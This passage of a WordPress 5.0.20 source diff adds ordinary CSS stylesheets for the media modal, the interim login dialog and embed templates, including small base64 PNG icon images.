+	color: #dc3232;
+}
+
+.media-selection .selection-view {
+	display: inline-block;
+	vertical-align: top;
+}
+
+.media-selection .attachments {
+	display: inline-block;
+	height: 48px;
+	margin: 6px;
+	padding: 0;
+	overflow: hidden;
+	vertical-align: top;
+}
+
+.media-selection .attachment {
+	width: 40px;
+	padding: 0;
+	margin: 4px;
+}
+
+.media-selection .attachment .thumbnail {
+	top: 0;
+	right: 0;
+	bottom: 0;
+	left: 0;
+}
+
+.media-selection .attachment .icon {
+	width: 50%;
+}
+
+.media-selection .attachment-preview {
+	box-shadow: none;
+	background: none;
+}
+
+.wp-core-ui .media-selection .attachment:focus,
+.wp-core-ui .media-selection .selected.attachment:focus,
+.wp-core-ui .media-selection .attachment.details:focus {
+	box-shadow:
+		0 0 0 1px #fff,
+		0 0 2px 3px #5b9dd9;
+}
+
+.wp-core-ui .media-selection .selected.attachment {
+	box-shadow: none;
+}
+
+.wp-core-ui .media-selection .attachment.details {
+	box-shadow:
+		0 0 0 1px #fff,
+		0 0 0 3px #0073aa;
+}
+
+.media-selection:after {
+	content: "";
+	display: block;
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	width: 25px;
+	background-image: linear-gradient(to left, rgba( 255, 255, 255, 1 ), rgba( 255, 255, 255, 0 ));
+}
+
+.media-selection .attachment .filename {
+	display: none;
+}
+
+/**
+ * Spinner
+ */
+.media-frame .spinner {
+	background: url(../images/spinner.gif) no-repeat;
+	background-size: 20px 20px;
+	float: right;
+	display: inline-block;
+	visibility: hidden;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	width: 20px;
+	height: 20px;
+	margin: 0;
+	vertical-align: middle;
+}
+
+.media-frame .spinner.is-active {
+	visibility: visible;
+}
+
+.media-toolbar .spinner {
+	margin-top: 14px;
+}
+
+/**
+ * Attachment Details
+ */
+.attachment-details {
+	position: relative;
+	overflow: auto;
+}
+
+.attachment-details .settings-save-status {
+	float: right;
+	text-transform: none;
+	z-index: 10;
+}
+
+.attachment-details .settings-save-status .spinner {
+	margin-left: 5px;
+}
+
+.attachment-details .settings-save-status .saved {
+	float: right;
+	display: none;
+}
+
+.attachment-details.save-waiting .settings-save-status .spinner {
+	visibility: visible;
+}
+
+.attachment-details.save-complete .settings-save-status .saved {
+	display: block;
+}
+
+.attachment-info {
+	overflow: hidden;
+	min-height: 60px;
+	margin-bottom: 16px;
+	line-height: 18px;
+	color: #666;
+	border-bottom: 1px solid #ddd;
+	padding-bottom: 11px;
+}
+
+.attachment-info .filename {
+	font-weight: 600;
+	color: #444;
+	word-wrap: break-word;
+}
+
+.attachment-info .thumbnail {
+	position: relative;
+	float: left;
+	max-width: 120px;
+	max-height: 120px;
+	margin-top: 5px;
+	margin-right: 10px;
+	margin-bottom: 5px;
+}
+
+.uploading .attachment-info .thumbnail {
+	width: 120px;
+	height: 80px;
+	box-shadow: inset 0 0 15px rgba( 0, 0, 0, 0.1 );
+}
+
+.uploading .attachment-info .media-progress-bar {
+	margin-top: 35px;
+}
+
+.attachment-info .thumbnail-image:after {
+	content: "";
+	display: block;
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.15 );
+	overflow: hidden;
+}
+
+.attachment-info .thumbnail img {
+	display: block;
+	max-width: 120px;
+	max-height: 120px;
+	margin: 0 auto;
+}
+
+.attachment-info .details {
+	float: left;
+	font-size: 12px;
+	max-width: 100%;
+}
+
+.attachment-info .edit-attachment,
+.attachment-info .delete-attachment,
+.attachment-info .trash-attachment,
+.attachment-info .untrash-attachment {
+	display: block;
+	text-decoration: none;
+	white-space: nowrap;
+}
+
+.attachment-details.needs-refresh .attachment-info .edit-attachment {
+	display: none;
+}
+
+.attachment-info .edit-attachment {
+	display: block;
+}
+
+.media-modal .delete-attachment,
+.media-modal .trash-attachment,
+.media-modal .untrash-attachment {
+	display: inline;
+	padding: 0;
+	color: #bc0b0b;
+}
+
+.media-modal .delete-attachment:hover,
+.media-modal .delete-attachment:focus,
+.media-modal .trash-attachment:hover,
+.media-modal .trash-attachment:focus,
+.media-modal .untrash-attachment:hover,
+.media-modal .untrash-attachment:focus {
+	color: #dc3232;
+}
+
+/**
+ * Attachment Display Settings
+ */
+.attachment-display-settings {
+	width: 100%;
+	float: left;
+	overflow: hidden;
+}
+
+.attachment-display-settings h4 {
+	margin: 1.4em 0 0.4em;
+}
+
+.collection-settings {
+	overflow: hidden;
+}
+
+.collection-settings .setting input[type="checkbox"] {
+	float: left;
+	margin-right: 8px;
+}
+
+.collection-settings .setting span {
+	min-width: inherit;
+}
+
+/**
+ * Image Editor
+ */
+.media-modal .imgedit-wrap {
+	position: static;
+}
+
+.media-modal .imgedit-wrap .imgedit-panel-content {
+	padding: 16px;
+	position: absolute;
+	top: 0;
+	right: 282px;
+	bottom: 0;
+	left: 0;
+	overflow: auto;
+}
+
+.media-modal .imgedit-wrap .imgedit-settings {
+	background: #f3f3f3;
+	border-left: 1px solid #ddd;
+	padding: 20px 16px 16px;
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	width: 250px;
+	overflow: auto;
+}
+
+.media-modal .imgedit-group {
+	background: none;
+	border: none;
+	border-bottom: 1px solid #ddd;
+	box-shadow: none;
+	margin: 0;
+	margin-bottom: 16px;
+	padding: 0;
+	padding-bottom: 16px;
+	position: relative; /* RTL fix, #WP29352 */
+}
+
+.media-modal .imgedit-group:last-of-type {
+	border: none;
+	margin: 0;
+	padding: 0;
+}
+
+.media-modal .imgedit-group-top {
+	margin: 0;
+}
+
+.media-modal .imgedit-group-top h3, /* Back-compat for pre-4.4 */
+.media-modal .imgedit-group-top h2,
+.media-modal .imgedit-group-top h2 .button-link {
+	display: inline-block;
+	text-transform: uppercase;
+	font-size: 12px;
+	color: #666;
+	margin: 0;
+	margin-top: 3px;
+}
+
+.media-modal .imgedit-group-top h3 a, /* Back-compat for pre-4.4 */
+.media-modal .imgedit-group-top h2 a,
+.media-modal .imgedit-group-top h2 .button-link {
+	text-decoration: none;
+	color: #666;
+}
+
+/* higher specificity than media.css */
+.wp-core-ui.media-modal .image-editor .imgedit-help-toggle,
+.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:hover,
+.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:active {
+	border: 1px solid transparent;
+	margin: 0;
+	padding: 0;
+	background: transparent;
+	color: #0074a2;
+	font-size: 20px;
+	line-height: 1;
+	cursor: pointer;
+	box-sizing: content-box;
+	box-shadow: none;
+}
+
+.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:focus {
+	color: #0074a2;
+	border-color: #5b9dd9;
+	outline: none;
+	box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
+}
+
+.wp-core-ui.media-modal .imgedit-group-top .dashicons-arrow-down.imgedit-help-toggle {
+	margin-top: -3px;
+}
+
+.wp-core-ui.media-modal .image-editor h3 .imgedit-help-toggle {
+	margin-top: -2px;
+}
+
+.media-modal .imgedit-help-toggled span.dashicons:before {
+	content: "\f142";
+}
+
+.media-modal .imgedit-thumbnail-preview {
+	margin: 10px 8px 0 0;
+}
+
+.imgedit-thumbnail-preview-caption {
+	display: block;
+}
+
+.media-modal .imgedit-wrap div.updated {
+	margin: 0;
+	margin-bottom: 16px;
+}
+
+
+/**
+ * Embed from URL and Image Details
+ */
+.embed-url {
+	display: block;
+	position: relative;
+	padding: 16px;
+	margin: 0;
+	z-index: 250;
+	background: #fff;
+	font-size: 18px;
+}
+
+.media-frame .embed-url input {
+	font-size: 18px;
+	padding: 12px 14px;
+	width: 100%;
+	min-width: 200px;
+	box-shadow: inset 2px 2px 4px -2px rgba( 0, 0, 0, 0.1 );
+}
+
+.media-frame .embed-url .spinner {
+	position: absolute;
+	top: 32px;
+	right: 26px;
+}
+
+.media-frame .embed-loading .embed-url .spinner {
+	visibility: visible;
+}
+
+.embed-link-settings,
+.embed-media-settings {
+	position: absolute;
+	top: 70px;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	padding: 16px 16px 32px;
+	overflow: auto;
+}
+
+.media-embed .embed-link-settings {
+	/* avoid Firefox to give focus to the embed preview container parent */
+	overflow: visible;
+}
+
+.embed-preview img,
+.embed-preview iframe,
+.embed-preview embed,
+.mejs-container video {
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+.embed-preview a {
+	display: inline-block;
+}
+
+.embed-preview img {
+	display: block;
+	height: auto;
+}
+
+.mejs-container:focus {
+	outline: 1px solid #5b9dd9;
+	box-shadow: 0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.image-details .media-modal {
+	left: 140px;
+	right: 140px;
+}
+
+.image-details .media-frame-title,
+.image-details .media-frame-content,
+.image-details .media-frame-router {
+	left: 0;
+}
+
+.image-details .embed-media-settings {
+	top: 0;
+	overflow: visible;
+	padding: 0;
+}
+
+.image-details .embed-media-settings,
+.image-details .embed-media-settings div {
+	box-sizing: border-box;
+}
+
+.image-details .column-settings {
+	background: #f3f3f3;
+	border-right: 1px solid #ddd;
+	min-height: 100%;
+	width: 55%;
+	position: absolute;
+	top: 0;
+	left: 0;
+}
+
+.image-details .column-settings h3, /* Back-compat for pre-4.4 */
+.image-details .column-settings h2 {
+	margin: 20px;
+	padding-top: 20px;
+	border-top: 1px solid #ddd;
+	color: #23282d;
+}
+
+.image-details .column-image {
+	width: 45%;
+	position: absolute;
+	left: 55%;
+	top: 0;
+}
+
+.image-details .image {
+	margin: 20px;
+}
+
+.image-details .image img {
+	max-width: 100%;
+	max-height: 500px;
+}
+
+.image-details .advanced-toggle {
+	padding: 0;
+	color: #666;
+	text-transform: uppercase;
+	text-decoration: none;
+}
+
+.image-details .advanced-toggle:hover,
+.image-details .advanced-toggle:active {
+	color: #666;
+}
+
+.image-details .advanced-toggle:after {
+	font: normal 20px/1 dashicons;
+	speak: none;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	content: "\f140";
+	display: inline-block;
+	margin-top: -2px;
+}
+
+.image-details .advanced-visible .advanced-toggle:after {
+	content: "\f142";
+}
+
+.image-details .embed-media-settings .size {
+	margin-bottom: 4px;
+}
+
+.image-details .custom-size span {
+	display: block;
+}
+
+.image-details .custom-size label {
+	display: block;
+	float: left;
+}
+
+.image-details .custom-size span small {
+	color: #555d66; /* #f3f3f3 background */
+	font-size: inherit;
+}
+
+.image-details .custom-size input {
+	width: 5em;
+}
+
+.image-details .custom-size .sep {
+	float: left;
+	margin: 26px 6px 0 6px;
+}
+
+.image-details .custom-size:after {
+	content: "";
+	display: table;
+	clear: both;
+}
+
+.media-embed .thumbnail {
+	max-width: 100%;
+	max-height: 200px;
+	position: relative;
+	float: left;
+}
+
+.media-embed .thumbnail img {
+	max-height: 200px;
+	display: block;
+}
+
+.media-embed .thumbnail:after {
+	content: "";
+	display: block;
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.1 );
+	overflow: hidden;
+}
+
+.media-embed .setting {
+	width: 100%;
+	margin: 10px 0;
+	float: left;
+	display: block;
+	clear: both;
+}
+
+.image-details .embed-media-settings .setting {
+	float: none;
+	width: auto;
+}
+
+.image-details .actions {
+	margin: 10px 0;
+}
+
+.image-details .hidden {
+	display: none;
+}
+
+.media-embed .setting input[type="text"],
+.media-embed .setting textarea {
+	display: block;
+	width: 100%;
+	max-width: 400px;
+	margin: 1px 0;
+}
+
+.image-details .embed-media-settings .setting input[type="text"],
+.image-details .embed-media-settings .setting textarea {
+	max-width: inherit;
+	width: 70%;
+}
+
+.image-details .embed-media-settings .setting input.link-to-custom,
+.image-details .embed-media-settings .link-target,
+.image-details .embed-media-settings .custom-size {
+	margin-left: 27%;
+	width: 70%;
+}
+
+.image-details .embed-media-settings .link-target {
+	margin-top: 24px;
+}
+
+.media-embed .setting input.hidden,
+.media-embed .setting textarea.hidden {
+	display: none;
+}
+
+.media-embed .setting span {
+	display: block;
+	width: 200px;
+	font-size: 13px;
+	line-height: 24px;
+	color: #666;
+}
+
+.image-details .embed-media-settings .setting span {
+	float: left;
+	width: 25%;
+	text-align: right;
+	margin: 8px 1% 0 1%;
+	line-height: 1.1;
+}
+
+.media-embed .setting .button-group {
+	margin: 2px 0;
+}
+
+.media-embed-sidebar {
+	position: absolute;
+	top: 0;
+	left: 440px;
+}
+
+.advanced-section,
+.link-settings {
+	margin-top: 10px;
+}
+
+/* Drag & drop on the editor upload */
+.wp-editor-wrap .uploader-editor {
+	background: rgba( 150, 150, 150, 0.9 );
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+	height: 100%;
+	z-index: 99998; /* under the toolbar */
+	display: none;
+	text-align: center;
+}
+
+.wp-editor-wrap .uploader-editor-content {
+	border: 1px dashed #fff;
+	position: absolute;
+	top: 10px;
+	left: 10px;
+	right: 10px;
+	bottom: 10px;
+}
+
+.wp-editor-wrap .uploader-editor .uploader-editor-title {
+	position: absolute;
+	top: 50%;
+	left: 0;
+	right: 0;
+	transform: translateY( -50% );
+	font-size: 3em;
+	line-height: 1.3;
+	font-weight: 600;
+	color: #fff;
+	padding: 0;
+	margin: 0;
+	display: none;
+}
+
+.wp-editor-wrap .uploader-editor.droppable {
+	background: rgba( 0, 86, 132, 0.9 );
+}
+
+.wp-editor-wrap .uploader-editor.droppable .uploader-editor-title {
+	display: block;
+}
+
+/**
+ * IE7 Fixes
+ */
+.ie7 .media-frame .attachments-browser {
+	position: static;
+}
+
+.ie7 .media-frame .embed-url input {
+	margin-top: 4px;
+	width: 90%;
+}
+
+.ie7 .compat-item {
+	width: 99%;
+}
+
+.ie7 .attachment-display-settings {
+	width: auto;
+}
+
+.ie7 .attachment-preview,
+.ie7 .attachment-preview .thumbnail {
+	width: 120px;
+	height: 120px;
+}
+
+.ie7 .media-frame .attachment .describe {
+	width: 102px;
+}
+
+.ie7 .media-sidebar .setting select {
+	max-width: 55%;
+}
+
+.ie7 .media-sidebar .setting input[type="text"],
+.ie7 .media-sidebar .setting input[type="password"],
+.ie7 .media-sidebar .setting input[type="email"],
+.ie7 .media-sidebar .setting input[type="number"],
+.ie7 .media-sidebar .setting input[type="search"],
+.ie7 .media-sidebar .setting input[type="tel"],
+.ie7 .media-sidebar .setting input[type="url"],
+.ie7 .media-sidebar .setting textarea {
+	width: 55%;
+}
+
+.ie7 .media-sidebar .setting .link-to-custom {
+	float: left;
+}
+
+/**
+ * Localization
+ */
+.rtl .media-modal,
+.rtl .media-frame,
+.rtl .media-frame .search,
+.rtl .media-frame input[type="text"],
+.rtl .media-frame input[type="password"],
+.rtl .media-frame input[type="number"],
+.rtl .media-frame input[type="search"],
+.rtl .media-frame input[type="email"],
+.rtl .media-frame input[type="url"],
+.rtl .media-frame input[type="tel"],
+.rtl .media-frame textarea,
+.rtl .media-frame select {
+	font-family: Tahoma, sans-serif;
+}
+
+:lang(he-il) .rtl .media-modal,
+:lang(he-il) .rtl .media-frame,
+:lang(he-il) .rtl .media-frame .search,
+:lang(he-il) .rtl .media-frame input[type="text"],
+:lang(he-il) .rtl .media-frame input[type="password"],
+:lang(he-il) .rtl .media-frame input[type="number"],
+:lang(he-il) .rtl .media-frame input[type="search"],
+:lang(he-il) .rtl .media-frame input[type="email"],
+:lang(he-il) .rtl .media-frame input[type="url"],
+:lang(he-il) .rtl .media-frame textarea,
+:lang(he-il) .rtl .media-frame select {
+	font-family: Arial, sans-serif;
+}
+
+/**
+ * Responsive layout
+ */
+@media only screen and (max-width: 900px) {
+
+	/* Drop-down menu */
+	.media-frame:not(.hide-menu) .media-frame-title,
+	.media-frame:not(.hide-menu) .media-frame-router,
+	.media-frame:not(.hide-menu) .media-frame-content,
+	.media-frame:not(.hide-menu) .media-frame-toolbar {
+		left: 0;
+	}
+
+	.media-frame:not(.hide-menu) .media-frame-menu {
+		position: static;
+		width: 0;
+	}
+
+	.media-frame:not(.hide-menu) .media-menu {
+		width: auto;
+		max-width: 80%;
+		overflow: auto;
+		z-index: 2000;
+		top: 50px;
+		left: -300px;
+		right: auto;
+		bottom: auto;
+		padding: 5px 0;
+		border: 1px solid #ccc;
+	}
+
+	.media-frame:not(.hide-menu) .media-menu.visible {
+		left: 0;
+	}
+
+	.media-frame:not(.hide-menu) .media-menu > a {
+		padding: 12px 16px;
+		font-size: 16px;
+	}
+
+	.media-frame:not(.hide-menu) .media-menu > a.active {
+		display: none;
+	}
+
+	.media-frame:not(.hide-menu) .media-menu .separator {
+		margin: 5px 10px;
+	}
+
+	.media-frame:not(.hide-menu) .media-frame-title {
+		left: 0;
+	}
+
+	.media-frame:not(.hide-menu) .media-frame-title .dashicons {
+		display: inline-block;
+		line-height: 50px;
+	}
+
+	.media-frame:not(.hide-menu) .media-frame-title h1 {
+		color: #0073aa;
+		line-height: 3;
+		font-size: 18px;
+		float: left;
+		cursor: pointer;
+	}
+	/* End drop-down menu */
+
+	.media-sidebar {
+		width: 230px;
+	}
+
+	.attachments-browser .attachments,
+	.attachments-browser .uploader-inline,
+	.attachments-browser .media-toolbar {
+		right: 262px;
+	}
+
+	.media-sidebar .setting,
+	.attachment-details .setting {
+		margin: 6px 0px;
+	}
+
+	.media-sidebar .setting input,
+	.media-sidebar .setting textarea,
+	.media-sidebar .setting span,
+	.attachment-details .setting input,
+	.attachment-details .setting textarea,
+	.attachment-details .setting span,
+	.compat-item label span {
+		float: none;
+	}
+
+	.media-sidebar .setting span,
+	.attachment-details .setting span,
+	.compat-item label span {
+		text-align: inherit;
+		min-height: 16px;
+		margin: 0;
+		padding: 8px 2px 0;
+	}
+
+	.media-sidebar .setting .value,
+	.attachment-details .setting .value {
+		float: none;
+		width: auto;
+	}
+
+	.media-sidebar .setting input[type="text"],
+	.media-sidebar .setting input[type="password"],
+	.media-sidebar .setting input[type="email"],
+	.media-sidebar .setting input[type="number"],
+	.media-sidebar .setting input[type="search"],
+	.media-sidebar .setting input[type="tel"],
+	.media-sidebar .setting input[type="url"],
+	.media-sidebar .setting textarea,
+	.media-sidebar .setting select,
+	.attachment-details .setting input[type="text"],
+	.attachment-details .setting input[type="password"],
+	.attachment-details .setting input[type="email"],
+	.attachment-details .setting input[type="number"],
+	.attachment-details .setting input[type="search"],
+	.attachment-details .setting input[type="tel"],
+	.attachment-details .setting input[type="url"],
+	.attachment-details .setting textarea,
+	.attachment-details .setting select {
+		float: none;
+		width: 98%;
+		max-width: none;
+		height: auto;
+	}
+
+	.media-sidebar .setting select.columns,
+	.attachment-details .setting select.columns {
+		width: auto;
+	}
+
+	.media-frame input,
+	.media-frame textarea,
+	.media-frame .search {
+		padding: 3px 6px;
+	}
+
+	.image-details .column-image {
+		width: 30%;
+		left: 70%;
+	}
+
+	.image-details .column-settings {
+		width: 70%;
+	}
+
+	.image-details .media-modal {
+		left: 30px;
+		right: 30px;
+	}
+
+	.image-details .embed-media-settings .setting {
+		margin: 20px;
+	}
+
+	.image-details .embed-media-settings .setting span {
+		float: none;
+		text-align: left;
+		width: 100%;
+		margin-bottom: 4px;
+	}
+
+	.image-details .embed-media-settings .setting input.link-to-custom,
+	.image-details .embed-media-settings .setting input[type="text"],
+	.image-details .embed-media-settings .setting textarea {
+		width: 100%;
+		margin-left: 0;
+	}
+
+	.image-details .embed-media-settings .custom-size {
+		margin-left: 20px;
+	}
+
+	.collection-settings .setting input[type="checkbox"] {
+		margin-top: 0;
+	}
+
+	.media-selection {
+		min-width: 120px;
+	}
+
+	.media-selection:after {
+		background: none;
+	}
+
+	.media-selection .attachments {
+		display: none;
+	}
+
+	.media-modal .attachments-browser .media-toolbar .search {
+		max-width: 100%;
+		height: auto;
+		float: right;
+	}
+
+	.media-modal .attachments-browser .media-toolbar .attachment-filters {
+		height: auto;
+	}
+
+	.media-modal .attachments-browser .media-toolbar .spinner {
+		margin: 14px 2px 0;
+	}
+
+	/* Text inputs need to be 16px, or they force zooming on iOS */
+	.media-frame input[type="text"],
+	.media-frame input[type="password"],
+	.media-frame input[type="number"],
+	.media-frame input[type="search"],
+	.media-frame input[type="email"],
+	.media-frame input[type="url"],
+	.media-frame textarea,
+	.media-frame select {
+		font-size: 16px;
+	}
+}
+
+/* Responsive on portrait and landscape */
+@media only screen and (max-width: 640px), screen and (max-height: 400px) {
+	/* Full-bleed modal */
+	.media-modal,
+	.image-details .media-modal {
+		position: fixed;
+		top: 0;
+		left: 0;
+		right: 0;
+		bottom: 0;
+	}
+
+	.media-modal-backdrop {
+		position: fixed;
+	}
+
+	.media-sidebar {
+		z-index: 1900;
+		max-width: 70%;
+		bottom: 120%;
+		box-sizing: border-box;
+		padding-bottom: 0;
+	}
+
+	.media-sidebar.visible {
+		bottom: 0;
+	}
+
+	.attachments-browser .attachments,
+	.attachments-browser .uploader-inline,
+	.attachments-browser .media-toolbar {
+		right: 0;
+	}
+
+	.image-details .media-frame-title {
+		display: block;
+		top: 0;
+		font-size: 14px;
+	}
+
+	.image-details .column-image,
+	.image-details .column-settings {
+		width: 100%;
+		position: relative;
+		left: 0;
+	}
+
+	.image-details .column-settings {
+		padding: 4px 0;
+	}
+
+	/* Media tabs on the top */
+	.media-frame-content .media-toolbar .instructions {
+		display: none;
+	}
+}
+
+/* Landscape specific header override */
+@media screen and (max-height: 400px) {
+	.media-menu {
+		padding: 0;
+	}
+
+	.media-frame-router {
+		top: 44px;
+	}
+
+	.media-frame-content {
+		top: 78px;
+	}
+
+	.attachments-browser .attachments {
+		top: 40px;
+	}
+
+	/* Prevent unnecessary scrolling on title input */
+	.embed-link-settings {
+		overflow: visible;
+	}
+}
+
+@media only screen and (max-width: 480px) {
+	.media-modal-close {
+		top: -5px;
+	}
+
+	.media-modal .media-frame-title {
+		height: 40px;
+	}
+
+	.wp-core-ui.wp-customizer .media-button {
+		margin-top: 13px;
+	}
+
+	.media-modal .media-frame-title h1,
+	.media-frame:not(.hide-menu) .media-frame-title h1 {
+		font-size: 18px;
+		line-height: 40px;
+	}
+
+	.media-frame:not(.hide-menu) .media-frame-title .dashicons {
+		line-height: 40px;
+	}
+
+	.media-frame-router,
+	.media-frame:not(.hide-menu) .media-menu {
+		top: 40px;
+	}
+
+	.media-frame-content {
+		top: 74px;
+	}
+
+	.media-frame.hide-router .media-frame-content {
+		top: 40px;
+	}
+}
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+
+	.wp-core-ui .media-modal-icon {
+		background-image: url(../images/uploader-icons-2x.png);
+		background-size: 134px 15px;
+	}
+
+	.media-frame .spinner {
+		background-image: url(../images/spinner-2x.gif);
+	}
+}
+
+.media-frame-content[data-columns="1"] .attachment {
+	width: 100%;
+}
+
+.media-frame-content[data-columns="2"] .attachment {
+	width: 50%;
+}
+
+.media-frame-content[data-columns="3"] .attachment {
+	width: 33.33%;
+}
+
+.media-frame-content[data-columns="4"] .attachment {
+	width: 25%;
+}
+
+.media-frame-content[data-columns="5"] .attachment {
+	width: 20%;
+}
+
+.media-frame-content[data-columns="6"] .attachment {
+	width: 16.66%;
+}
+
+.media-frame-content[data-columns="7"] .attachment {
+	width: 14.28%;
+}
+
+.media-frame-content[data-columns="8"] .attachment {
+	width: 12.5%;
+}
+
+.media-frame-content[data-columns="9"] .attachment {
+	width: 11.11%;
+}
+
+.media-frame-content[data-columns="10"] .attachment {
+	width: 10%;
+}
+
+.media-frame-content[data-columns="11"] .attachment {
+	width: 9.09%;
+}
+
+.media-frame-content[data-columns="12"] .attachment {
+	width: 8.33%;
+}
Index: /tags/5.0.20/src/wp-includes/css/wp-auth-check.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/wp-auth-check.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/wp-auth-check.css	(revision 56912)
@@ -0,0 +1,123 @@
+/*------------------------------------------------------------------------------
+ Interim login dialog
+------------------------------------------------------------------------------*/
+
+#wp-auth-check-wrap.hidden {
+	display: none;
+}
+
+#wp-auth-check-wrap #wp-auth-check-bg {
+	position: fixed;
+	top: 0;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	z-index: 1000010; /* needs to appear above .notification-dialog */
+}
+
+#wp-auth-check-wrap #wp-auth-check {
+	position: fixed;
+	left: 50%;
+	overflow: hidden;
+	top: 40px;
+	bottom: 20px;
+	max-height: 415px;
+	width: 380px;
+	margin: 0 0 0 -190px;
+	padding: 30px 0 0;
+	background-color: #f1f1f1;
+	z-index: 1000011; /* needs to appear above #wp-auth-check-bg */
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+}
+
+@media screen and ( max-width: 380px ) {
+	#wp-auth-check-wrap #wp-auth-check {
+		left: 0;
+		width: 100%;
+		margin: 0;
+	}
+}
+
+#wp-auth-check-wrap.fallback #wp-auth-check {
+	max-height: 180px;
+	overflow: auto;
+}
+
+#wp-auth-check-wrap #wp-auth-check-form {
+	height: 100%;
+	position: relative;
+	overflow: auto;
+	-webkit-overflow-scrolling: touch;
+}
+
+#wp-auth-check-form.loading:before {
+	content: "";
+	display: block;
+	width: 20px;
+	height: 20px;
+	position: absolute;
+	left: 50%;
+	top: 50%;
+	margin: -10px 0 0 -10px;
+	background: url(../images/spinner.gif) no-repeat center;
+	background-size: 20px 20px;
+	transform: translateZ(0);
+}
+
+@media print,
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+
+	#wp-auth-check-form.loading:before {
+		background-image: url(../images/spinner-2x.gif);
+	}
+
+}
+
+#wp-auth-check-wrap #wp-auth-check-form iframe {
+	height: 98%; /* Scrollbar fix */
+	width: 100%;
+}
+
+#wp-auth-check-wrap .wp-auth-check-close {
+	position: absolute;
+	top: 5px;
+	right: 5px;
+	height: 22px;
+	width: 22px;
+	color: #72777c;
+	text-decoration: none;
+	text-align: center;
+}
+
+#wp-auth-check-wrap .wp-auth-check-close:before {
+	content: "\f158";
+	font: normal 20px/22px dashicons;
+	speak: none;
+	-webkit-font-smoothing: antialiased !important;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#wp-auth-check-wrap .wp-auth-check-close:hover,
+#wp-auth-check-wrap .wp-auth-check-close:focus {
+	color: #0073aa;
+}
+
+#wp-auth-check-wrap .wp-auth-fallback-expired {
+	outline: 0;
+}
+
+#wp-auth-check-wrap .wp-auth-fallback {
+	font-size: 14px;
+	line-height: 21px;
+	padding: 0 25px;
+	display: none;
+}
+
+#wp-auth-check-wrap.fallback .wp-auth-fallback,
+#wp-auth-check-wrap.fallback .wp-auth-check-close {
+	display: block;
+}
Index: /tags/5.0.20/src/wp-includes/css/wp-embed-template-ie.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/wp-embed-template-ie.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/wp-embed-template-ie.css	(revision 56912)
@@ -0,0 +1,19 @@
+.dashicons-no {
+	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAQAAAAngNWGAAAAcElEQVR4AdXRVxmEMBAGwJMQCUhAIhKQECmRsFJwMFfp7HfP/E8pk0173CuKpt/0R+WaBaaZqogLagBMuh+DdoKbyRCwqZ/SnM0R5oQuZ2UHS8Z6k23qPxZCTrV5UlHMi8bsfHVXP7K/GXZHaTO7S54CWLdHlN2YIwAAAABJRU5ErkJggg==);
+}
+
+.dashicons-admin-comments {
+	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAATUlEQVR4AWMYWqCpvUcAiA8A8X9iMFStAD4DG0AKScQNVDZw1MBRAwvIMLCA5jmFlCD4AMQGlOTtBgoNwzQQ3TCKDaTcMMxYN2AYVgAAYPKsEBxN0PIAAAAASUVORK5CYII=);
+}
+
+.wp-embed-comments a:hover .dashicons-admin-comments {
+	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAATElEQVR4AWMYYqB4lQAQHwDi/8RgqFoBfAY2gBSSiBuobOCogaMGFpBhYAEdcwrhIPgAxAaU5O0GCg3DNBDdMIoNpNwwzFg3YBhWAABG71qAFYcFqgAAAABJRU5ErkJggg==);
+}
+
+.dashicons-share {
+	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAc0lEQVR4AWMYfqCpvccAiBcA8X8gfgDEBZQaeAFkGBoOoMR1/7HgDeQa2ECZgQiDHID4AMwAor0MCmBoQP+HBnwAskFQdgBRkQJViGk7wiAHUr21AYdhDTA1dDOQHl6mPFLokmwoT9j0z3qUFw70L77oDwAiuzCIub1XpQAAAABJRU5ErkJggg==);
+}
+
+.wp-embed-share-dialog-open:hover .dashicons-share {
+	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAc0lEQVR4AWMYhqB4lQEQLwDi/0D8AIgLKDXwAsgwNBxAiev+Y8EbyDWwgTIDEQY5APEBmAFEexkUwNCA/g8N+ABkg6DsAKIiBaoQ03aEQQ6kemsDDsMaYEroZiA9vEx5pNAl2VCesOmf9SgvHOhffNEfAAAMqPR5IEZH5wAAAABJRU5ErkJggg==);
+}
Index: /tags/5.0.20/src/wp-includes/css/wp-embed-template.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/wp-embed-template.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/wp-embed-template.css	(revision 56912)
@@ -0,0 +1,359 @@
+html, body {
+	padding: 0;
+	margin: 0;
+}
+
+body {
+	font-family: sans-serif;
+}
+
+/* Text meant only for screen readers */
